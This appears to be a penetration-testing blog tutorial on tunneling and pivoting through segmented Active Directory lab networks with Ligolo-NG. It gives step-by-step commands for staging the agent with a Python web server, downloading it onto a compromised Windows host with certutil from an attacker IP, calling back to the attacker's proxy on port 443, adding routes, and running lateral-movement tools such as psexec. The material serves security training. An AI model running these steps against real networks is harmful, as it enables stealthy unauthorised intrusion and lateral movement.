Tunneling and Pivoting using Ligolo-NG

Introduction

In our previous blog posts, we explored pivoting and tunneling using SSH—unpacking techniques to navigate segmented networks and establish internal access. Now, we’re turning our attention to a more advanced approach: Ligolo-NG, an agent-based tunneling tool built for stealthy, efficient pivoting in complex environments.


Ligolo-NG enables secure traffic forwarding with minimal configuration, offering native support for SOCKS proxying across both Windows and Linux platforms. Unlike traditional SSH tunnels, it’s designed for seamless deployment, flexible pivoting, and low-detection operation—making it an essential tool for modern penetration testers facing segmented or hardened networks.


In this post, we’ll walk through real-world use cases, demonstrating how to:
• Set up Ligolo-NG on both Linux and Windows
• Route traffic cleanly through different segments
• Leverage post-exploitation tools to escalate privileges and maintain access


To reinforce these concepts, we strongly recommend watching the YouTube walkthrough included in the next section. It covers each stage—from setting up proxies and agents to tunneling through multiple internal layers—offering a hands-on view of Ligolo-NG in action.

Video Walkthrough

Prerequisites for Setting Up Ligolo-NG

Before setting up Ligolo-NG for tunneling and pivoting, ensure the following prerequisites are in place:

1. A Target System for Deployment

  • No administrative privileges are required, but execution of the agent must be possible.
  • A Windows or Linux machine in the target network where the Ligolo-NG agent will run.

2. Attacker Machine (Kali Linux or Any Linux System)

  • A Linux-based attack machine (e.g., Kali Linux, Parrot OS, Ubuntu) to run the Ligolo-NG relay (proxy server).

3. Ligolo-NG Binaries

  • Download the latest Ligolo-NG binaries from the official repository:
    GitHub: Ligolo-NG
  • Ensure both the agent (ligolo-ng-agent) and proxy (ligolo-ng-proxy) have been downloaded.

4. Basic Network Access

  • The attacker machine must be accessible from the compromised machine through any outbound port (e.g., HTTP, HTTPS, or any allowed protocol).

No Need for SOCKS Proxy

Unlike traditional tunneling methods, Ligolo-NG does not rely on SOCKS proxies or TCP/UDP forwarders. Instead, it creates a userland network stack using Gvisor. This enables:

  • Direct TCP connections from tools like Nmap, Impacket, Rubeus, and Mimikatz without proxychains.
  • Automatic packet translation using a TUN interface on the relay machine.
  • Faster and more efficient traffic routing with fewer configuration steps.

The above diagram illustrates an attacker (Kali Linux) pivoting through three separate Active Directory forests—MARVEL.LOCAL, STUDIO.LOCAL, and SHIELD.LOCAL—using Ligolo-NG for stealthy, bi-directional tunneling. The attack path begins with a foothold on WEB.HYDRA.MARVEL.LOCAL, progresses laterally to WKSTN-4.MARVEL.LOCAL, then pivots into the STUDIO.LOCAL forest via CA.STUDIO.LOCAL, and ultimately reaches the high-value domain controller DC4.SHIELD.LOCAL in the SHIELD.LOCAL forest. All traffic flows are bi-directional, enabling full communication across segments without traditional VPNs or SOCKS proxies.

Now that we have covered the prerequisites and power of Ligolo-NG, let’s walk through setup process.

Step 1: Download Ligolo-NG Binaries

Ligolo-NG consists of two core components:

  • Proxy → Runs on the attacker machine (our system).
  • Agent → Runs on the target machine (compromised host).

On the Attacker Machine (Kali/Linux)

Navigate to a directory to store Ligolo-NG:

cd /opt

mkdir ligolo

cd ligolo

Download the proxy and agent binaries:

# Download the agent (for Windows target)
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_agent_0.8_windows_amd64.zip

# Download the proxy (for Kali/attacker machine)
sudo wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_proxy_0.8_linux_amd64.tar.gz

Extract the binaries:

# Extract the agent (for Windows target)
unzip ligolo-ng_agent_0.8_windows_amd64.zip

# Extract the proxy (for Kali/attacker machine)
tar -xvf ligolo-ng_proxy_0.8_linux_amd64.tar.gz

Step 2: Set Up the Ligolo-NG Proxy on the Attacker Machine

Before launching Ligolo-NG, create a TUN interface on the attacker machine:

sudo ip tuntap add user $(whoami) mode tun ligolo

sudo ip link set ligolo up

Now, start the Ligolo-NG proxy server:

#Change the directory to the ligolo directory
cd /opt/ligolo

#Run the proxy server from there
./proxy -selfcert -laddr 0.0.0.0:443

Why Port 443? Using port 443 is ideal because it’s a common HTTPS port that is less likely to be blocked by firewalls.

Once the proxy is running, it’s now waiting for incoming connections from the agent.

Step 3: Transfer the Ligolo-NG Agent on the Target Machine

We need to transfer the agent to the compromised machine using a simple Python HTTP server to serve the file:

*** Note : In our case we directly copied it to the windows Compromised machine ***

cd /opt/ligolo

sudo python3 -m http.server 80

On the target machine (Windows), download the agent from the attacker’s machine:

certutil.exe -urlcache -split -f http://<attacker_IP>/lin-agent

Step 4: Pivot to First Subnet

Now, execute the agent and connect it to the attacker’s proxy:

agent.exe -connect <attacker-machine-IP>:443 -ignore-cert

Verify the Connection:

Once the agent is running, check the attacker machine’s proxy window. An active session should have been established. To list all active tunneled sessions, run:

#List the session
session
#Start the session
start

This confirms that our Ligolo-NG tunnel is successfully set up.

Step 5: Discover Internal Networks

Now that there is a foothold inside the compromised network, let’s enumerate.

On the Target Machine:

check network interfaces:

ipconfig

This will help identify additional subnets or networks to pivot into.

Step 6: Add Internal Network Routes for Pivoting

Once internal network is identified (e.g., 172.168.170.0/24), route it through Ligolo-NG:

sudo ip route add 172.168.170.0/24 dev ligolo

Access to systems in 172.168.170.0/24 is established to run tools like Nmap, Impacket, Rubeus, or Mimikatz without needing proxychains!

Step 7: Pivot to a Second Subnet

Once the second machine inside a new internal subnet has been compromised, Let’s set up another Ligolo listener and agent to continue pivoting deeper.

Why? : The first agent is limited to the subnet it can see. To reach the next layer (deeper network), we need to tunnel again — from the foothold machine.

Setting up Additional Ligolo Listeners and Agents (ligolo2, ligolo3)

Set up a second Ligolo tunnel after a successful RDP into the second compromised machine (e.g., wkstn4 with IP 172.168.170.120) :

On the attacker machine (Kali):

#Create a second TUN interface
sudo ip tuntap add user $(whoami) mode tun ligolo2

sudo ip link set ligolo2 up

#Attach back to running Ligolo proxy tmux session

tmux a -t Ligolo

# Add a new listener
listener_add --addr 0.0.0.0:443 --to 127.0.0.1:443

#Verify listeners
listener_list

On the new compromised machine (wkstn4):

Download and execute the Ligolo agent to create the second tunnel:

agent.exe -connect <WEBSERVER>:443 -ignore-cert

On the attacker machine, start the session:

session

start --tun ligolo2

Add the new internal network to your routes:

sudo ip route add 10.10.10.0/24 dev ligolo2

Confirm connectivity:

ping 10.10.10.128

Enumerate the new network:

nxc smb 10.10.10.0/24

Step 8: Pivot to a Multiple Subnets

Repeat for Deeper Networks

Similarly, if another host is compromised (e.g., CA.SHIELD.LOCAL machine at 10.10.10.132) and find another new network (10.10.20.0/24), repeat the same process from step 7:

  • Create a third TUN interface (ligolo3)
  • Start a new listener
  • Deploy another agent from the compromised machine
  • Route the new subnet through the new TUN (ligolo3) interface

Final setup : Fully Established Pivot Chain Across Four Networks

Note: For a detailed walk-through on setting up deeper pivots using Ligolo-NG and managing multiple listeners and routes, please refer to the walkthrough video attached at the beginning of this blog!

Next Steps: Post-Exploitation

Netexec:

With the Ligolo tunnel established, run any post-exploitation tools, such as:

nxc smb scope.txt

Nmap for network scanning:

nmap -sT -Pn new-subnet/24

Impacket’s psexec.py for lateral movement:

python3 psexec.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>

Conclusion

By leveraging Ligolo-NG, we’ve successfully:

  • Established a tunnel from a compromised system
  • Enumerated internal networks and pivoted
  • Added routes to pivot further into segmented environments
  • Used post-exploitation tools without proxychains

In this post, we explored the powerful capabilities of Ligolo-NG for tunneling and pivoting in penetration testing scenarios. We discussed how its agent-based tunneling approach provides a more flexible and efficient alternative to traditional SSH tunneling, enabling secure traffic forwarding with minimal configuration.

Ligolo-NG makes network pivoting and tunneling significantly easier and faster than traditional methods like SSH tunneling or SOCKS proxies. With this setup, you can stealthily navigate, explore, and exploit internal network infrastructures efficiently.

Detections & Mitigations

🔗Detection and Mitigations

Share the Post:

Table of Contents

Subscribe To Our Blog

Light